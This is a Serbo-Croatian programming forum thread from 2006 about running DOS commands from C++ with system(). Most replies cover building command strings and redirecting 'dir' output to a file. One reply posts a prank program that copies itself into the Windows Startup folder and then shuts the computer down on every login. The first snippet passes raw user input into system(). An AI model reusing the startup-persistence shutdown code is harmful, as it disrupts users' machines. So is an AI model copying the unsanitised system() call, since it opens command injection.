Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

DOS komande u C++

[es] :: C/C++ programiranje :: DOS komande u C++

[ Pregleda: 4379 | Odgovora: 10 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

3125
Sarajevo

Član broj: 58423
Poruke: 24
*.pppoe06-1432.bih.net.ba.



Profil

icon DOS komande u C++06.03.2006. u 13:19 - pre 220 meseci
Da li se moze npr. ako imam varijablu a koja sadrzi tekst "nesto" (to sam prethodno unio u programu, nije konstanta) da DOS-u zadam komandu cd nesto.

Probavao sam System ("cd" a) i slicne sintakse ali ne ide. Pomagajte

Hvala
 
Odgovor na temu

EArthquake

Član broj: 20684
Poruke: 884
*.icentrala.net.



+67 Profil

icon Re: DOS komande u C++06.03.2006. u 14:58 - pre 220 meseci
pa mozes to cd da stavis u string , a onda da nataj string dodajes path koji hoces

i da u system() stavis taj string sa sve path , a ne dva stringa ili "cd"pa neki var ....

da pojasnim :

Code:


main(int argc, char **argv)
{
char buff[100];
snprintf(buff,90,"cd %s",argv[1]);
system(buf);
}





[Ovu poruku je menjao EArthquake dana 06.03.2006. u 16:09 GMT+1]

[Ovu poruku je menjao EArthquake dana 06.03.2006. u 16:10 GMT+1]
 
Odgovor na temu

3125
Sarajevo

Član broj: 58423
Poruke: 24
*.pppoe06-1432.bih.net.ba.



Profil

icon Re: DOS komande u C++06.03.2006. u 15:04 - pre 220 meseci
OK hvala, probacu. Ovo CD je bilo samo primjer.
 
Odgovor na temu

peromalosutra
Ivan Rajkovic
Software engineer
Luxoft
Berlin

Član broj: 54774
Poruke: 871
*.dialup.blic.net.



+148 Profil

icon Re: DOS komande u C++08.03.2006. u 20:35 - pre 220 meseci
Mozes tako svasta da napravis,na primjer:

Code:

//NAKON POKRETANJA PROGRAMA PREPORUCUJEM BRISANJE IZ STARTUP-a
#include <iostream>
#include <cstdlib>
#include <string>
using namespace std;

int main(int argc, char *argv[])
{
    char kom[]="copy \"",
         mid[]="\" \"",
         lok[]="C:\\Documents and Settings\\All Users\\Start Menu\\"
               "Programs\\Startup\\info.exe\"";    
    if (strlen(lok)==strlen(argv[0])+1)
    system("C:\\windows\\system32\\shutdown.exe -s");
    else
    {    
    int length=strlen(kom)+strlen(mid)+strlen(argv[0])+strlen(lok)+1;
    char command[length];
    for (int i=0; i<length; i++)
        command[i]='\0';
    strcat (command, kom);
    strcat (command, argv[0]);
    strcat (command, mid);
    strcat (command, lok);
    system (command);
    }
    return 0;
}



Program je dosta sirov, ali radi posao :)

 
Odgovor na temu

monte_sandman
Mark Andrej
heaven

Član broj: 61080
Poruke: 60
*.proxy.cg.yu.



Profil

icon Re: DOS komande u C++11.12.2006. u 16:46 - pre 211 meseci
KAko omoguciti da se f-jom system("dir") sadrzaj iscitavanja upise u neku datoteku?
 
Odgovor na temu

idb
Ivan Bulic
Beograd

Član broj: 4436
Poruke: 402



Profil

icon Re: DOS komande u C++11.12.2006. u 17:05 - pre 211 meseci
trebalo bi da radi:
dir>sadrzaj.txt
 
Odgovor na temu

monte_sandman
Mark Andrej
heaven

Član broj: 61080
Poruke: 60
*.proxy.cg.yu.



Profil

icon Re: DOS komande u C++11.12.2006. u 17:13 - pre 211 meseci
to bi radilo kad bih komandu pozivao iz DOS-a.
Ja pozivam tu funkciju iz C++-a , preko system("komanda"); i onda bih trebao da taj sadrzaj izlistavanja upisem u neku datoteku.
 
Odgovor na temu

idb
Ivan Bulic
Beograd

Član broj: 4436
Poruke: 402



Profil

icon Re: DOS komande u C++11.12.2006. u 17:37 - pre 211 meseci
Ja sam i mislio da to upotrebis kao argument f-je system("....");, ..., jesi li probao:
Code:
system( "dir>sadrzaj.txt" ); 

Nemam na ovom racunaru nikakav kompajler, ali bi terbalo da radi
 
Odgovor na temu

monte_sandman
Mark Andrej
heaven

Član broj: 61080
Poruke: 60
*.proxy.cg.yu.



Profil

icon Re: DOS komande u C++11.12.2006. u 18:05 - pre 211 meseci
xexe prvi put kad sam probao nije moglo,sad moze... hvala
 
Odgovor na temu

vula

Član broj: 119166
Poruke: 119
*.teol.net.



Profil

icon Re: DOS komande u C++14.12.2006. u 00:46 - pre 211 meseci
dir > sadrzaj.txt

To ti se zove redirekcija. Sa standardnog izlaza a to je u ovom slucaju ekran proslijedjujes u datoteku.
Napravio sam jedan programcic jer mi je trebalo da mi brat sa racunara svog cimera proslijedi spiskove odredjenih sadrzaja a mrzilo ga da kuca.
Posle redirekcije mozes tu datotekicu malo srediti. Pokupis karaktere i malo iz bolje organizujes.
Pozdrav
 
Odgovor na temu

monte_sandman
Mark Andrej
heaven

Član broj: 61080
Poruke: 60
*.proxy.cg.yu.



Profil

icon Re: DOS komande u C++14.12.2006. u 20:59 - pre 211 meseci
Da,znam da je u pitanju redirekcija...
A da li moze da se uradi da se pri izvrsavanju system() komandi ne pojavljuje onaj DOS prozor? On se pojavljuje na ms ali me nervira strasno.
 
Odgovor na temu

[es] :: C/C++ programiranje :: DOS komande u C++

[ Pregleda: 4379 | Odgovora: 10 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.